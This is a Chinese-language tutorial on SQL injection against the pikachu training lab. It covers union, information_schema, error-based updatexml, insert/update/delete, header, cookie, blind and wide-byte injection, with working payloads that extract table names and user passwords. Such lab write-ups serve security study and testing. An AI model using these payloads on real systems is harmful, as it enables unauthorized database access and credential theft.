一.本文介绍
1、本文介绍手动联合查询注入、information_schema注入、函数报错注入、insert注入、update注入、dalete注入、Http Header注入、Cookie注入、Boolian(布尔型)盲注、时间型盲注、宽字节注入。
2、pikachu靶机环境。
二.手动注入
1、联合查询union注入:
1、union操作符用于合并两个或多个SQL语句集合起来。一般与order by语句配合使用。
2、先测试字段长度:a' order by1#% 、a' order by2#% 、a' order by3#% 、a' order by4#% .。
3、当测试到 a' order by3#% 时,如图一所示,说明查询字段准确;当测试到:a' order by 4#% 时:出现:Unknown column '4' in 'order clause' 。那么可以确定,查询的字段长度为3。
4、构造语句:a' union select database(),user(),version()#%
图一
图二
2、information_schema注入:
若MySQL的版本大于5.0,则MySQL中有一个很方便的系统库information_schema,其中存放着数据库名、表名、列名、用户等一系列信息。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
其中有三个比较重要的表:
information_schema.schemata:存放着所有数据库的信息
information_schema.tables:存放着所有数据表的信息
information_schema.columns:存放着所有列的信息
使用group_concat(table_name)会更强大。
获取pikachu数据库的表名 :u'union select table_schema ,table_name,3 from information_schema.tables wheretable_schema='pikachu'# ;如图一
获取pikachu数据库的字段名: k' union select table_name,column_name,3 frominformation_schema.columns where table_name='users'#%;如图二
最后获取字段值的内容:kobe'union select username ,password,3 fromusers#% ;如图三
图一
图二
图三
3、基于函数报错注入
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
报错的信息获取
UPDATEXML(XML_document, XPath_string,new_value);
XML_document是String格式,为XML文档对象的名称,文中为Doc
XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
new_value,String格式,替换查找到的符合条件的数据
1、爆数据库版本信息: k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1) #
2、爆数据库当前用户: k' and updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#
3、爆数据库k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #
4、爆表获取数据库表名,输入:k'andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
输入k' and updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='pikachu'limit0,1)),0)#更改limit后面的数字limit 0完成表名遍历;如图一
5、爆字段获取字段名,输入:k' andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name='users'limit 2,1)),0)#
6、爆字段内容获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)# ;如图二
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
图一
图二
4、insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
语法: admin'or updatexml(1,concat(0x7e,(命令)),0) or'
1.爆表名
admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2.爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3.爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
5、update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
' or updatexml(0,concat(0x7e,(database())),0) or'
6、dalete注入
在ID后面写,空格要转编码(%20),不用加单引号(')
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法:delete from message where id=56or updatexml(2,concat(0x7e,(database())),0)
7、Http Header注入
在已加密的包中修改,未加密的修改无效
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
8、Cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。
SQL盲注分为三大类:
基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
9、Boolian(布尔型)盲注
介绍:盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
1、通过嗅探得出数据库名称(vince' and ascii(substr(database(),1,1))=112#)
直到把数据库的全名探测出来为止
10、base on time(时间型)盲注
1、判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)
注意:Asc码盲注不不适用于 时间型盲注。
11、宽字节注入
简介:
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
1、宽字节注入(kobe%df' or 1=1#)